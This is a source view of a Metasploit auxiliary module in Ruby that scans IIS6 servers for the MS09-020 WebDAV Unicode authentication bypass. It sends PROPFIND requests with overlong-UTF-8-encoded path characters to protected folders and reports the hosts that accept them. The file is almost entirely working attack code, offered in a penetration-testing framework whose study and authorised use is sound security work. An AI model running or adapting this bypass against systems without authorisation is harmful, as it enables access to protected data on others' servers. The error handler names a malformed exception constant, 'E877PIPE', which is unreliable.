root / modules / auxiliary / scanner / http / ms09_020_webdav_unicode_bypass.rb @ master
History | View | Annotate | Download (3.5 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/
|
| 10 |
##
|
| 11 |
|
| 12 |
require 'rex/proto/http'
|
| 13 |
require 'msf/core'
|
| 14 |
|
| 15 |
|
| 16 |
class Metasploit3 < Msf::Auxiliary |
| 17 |
|
| 18 |
include Msf::Exploit::Remote::HttpClient |
| 19 |
include Msf::Auxiliary::WmapScanDir |
| 20 |
include Msf::Auxiliary::Scanner |
| 21 |
include Msf::Auxiliary::Report |
| 22 |
|
| 23 |
def initialize(info = {}) |
| 24 |
super(update_info(info,
|
| 25 |
'Name' => 'MS09-020 IIS6 WebDAV Unicode Auth Bypass', |
| 26 |
'Description' => %q{ |
| 27 |
Simplified version of MS09-020 IIS6 WebDAV Unicode Auth Bypass scanner. It attempts |
| 28 |
to bypass authentication using the WebDAV IIS6 Unicode vulnerability |
| 29 |
discovered by Kingcope. The vulnerability appears to be exploitable |
| 30 |
where WebDAV is enabled on the IIS6 server, and any protected folder |
| 31 |
requires either Basic, Digest or NTLM authentication. |
| 32 |
},
|
| 33 |
'Author' => [ 'et', 'patrick' ], |
| 34 |
'Version' => '$Revision$', |
| 35 |
'License' => MSF_LICENSE, |
| 36 |
'References' =>
|
| 37 |
[ |
| 38 |
[ 'MSB', 'MS09-020' ], |
| 39 |
[ 'CVE', '2009-1535' ], |
| 40 |
[ 'CVE', '2009-1122' ], |
| 41 |
[ 'OSVDB', '54555' ], |
| 42 |
[ 'BID', '34993' ], |
| 43 |
] |
| 44 |
)) |
| 45 |
|
| 46 |
register_options( |
| 47 |
[ |
| 48 |
OptString.new('PATH', [ true, "The path to protected folder", '/']) |
| 49 |
], self.class)
|
| 50 |
|
| 51 |
end
|
| 52 |
|
| 53 |
def run_host(ip) |
| 54 |
tpath = datastore['PATH']
|
| 55 |
if tpath[-1,1] != '/' |
| 56 |
tpath += '/'
|
| 57 |
end
|
| 58 |
|
| 59 |
vhost = datastore['VHOST'] || wmap_target_host
|
| 60 |
prot = datastore['SSL'] ? 'https' : 'http' |
| 61 |
|
| 62 |
webdav_req = '<?xml version="1.0" encoding="utf-8"?><propfind xmlns="DAV:"><prop><getcontentlength xmlns="DAV:"/>' +
|
| 63 |
'<getlastmodified xmlns="DAV:"/><executable xmlns="http://apache.org/dav/props/"/><resourcetype xmlns="DAV:"/>' +
|
| 64 |
'<checked-in xmlns="DAV:"/><checked-out xmlns="DAV:"/></prop></propfind>'
|
| 65 |
|
| 66 |
begin
|
| 67 |
res = send_request_cgi({
|
| 68 |
'uri' => tpath,
|
| 69 |
'method' => 'PROPFIND', |
| 70 |
'ctype' => 'application/xml', |
| 71 |
'headers' =>
|
| 72 |
{
|
| 73 |
}, |
| 74 |
'data' => webdav_req + "\r\n\r\n", |
| 75 |
}, 20)
|
| 76 |
|
| 77 |
if(not res) |
| 78 |
print_error("NO Response.")
|
| 79 |
elsif (res.code.to_i == 401) |
| 80 |
print_status("Confirmed protected folder #{wmap_base_url}#{tpath} #{res.code} (#{wmap_target_host})")
|
| 81 |
print_status("\tTesting for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request.")
|
| 82 |
|
| 83 |
cset = %W{ & ^ % $ # @ ! }
|
| 84 |
buff = ''
|
| 85 |
blen = rand(16)+1 |
| 86 |
while(buff.length < blen)
|
| 87 |
buff << cset[ rand(cset.length) ] |
| 88 |
end
|
| 89 |
bogus = Rex::Text.uri_encode(Rex::Text.to_unicode( buff, 'utf-8', 'overlong', 2)) |
| 90 |
|
| 91 |
res = send_request_cgi({
|
| 92 |
'uri' => tpath + bogus+'/', |
| 93 |
'method' => 'PROPFIND', |
| 94 |
'ctype' => 'application/xml', |
| 95 |
'headers' =>
|
| 96 |
{
|
| 97 |
#'Translate' => 'f', # Not required in PROPFIND, only GET - patrickw 20091518
|
| 98 |
}, |
| 99 |
'data' => webdav_req + "\r\n\r\n", |
| 100 |
}, 20)
|
| 101 |
|
| 102 |
if (res.code.to_i == 207) |
| 103 |
print_status("\tFound vulnerable WebDAV Unicode bypass. #{wmap_base_url}#{tpath}#{bogus}/ #{res.code} (#{wmap_target_host})")
|
| 104 |
|
| 105 |
|
| 106 |
report_vuln( |
| 107 |
{
|
| 108 |
:host => ip,
|
| 109 |
:port => rport,
|
| 110 |
:proto => 'tcp', |
| 111 |
:name => self.fullname, |
| 112 |
:info => "#{tpath}#{bogus} / Code: #{res.code}", |
| 113 |
:refs => self.references, |
| 114 |
:exploited_at => Time.now.utc |
| 115 |
} |
| 116 |
) |
| 117 |
|
| 118 |
end
|
| 119 |
else
|
| 120 |
print_error("Folder does not require authentication. [#{res.code}]")
|
| 121 |
end
|
| 122 |
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout |
| 123 |
rescue ::Timeout::Error, ::Errno::E877PIPE |
| 124 |
end
|
| 125 |
end
|
| 126 |
end
|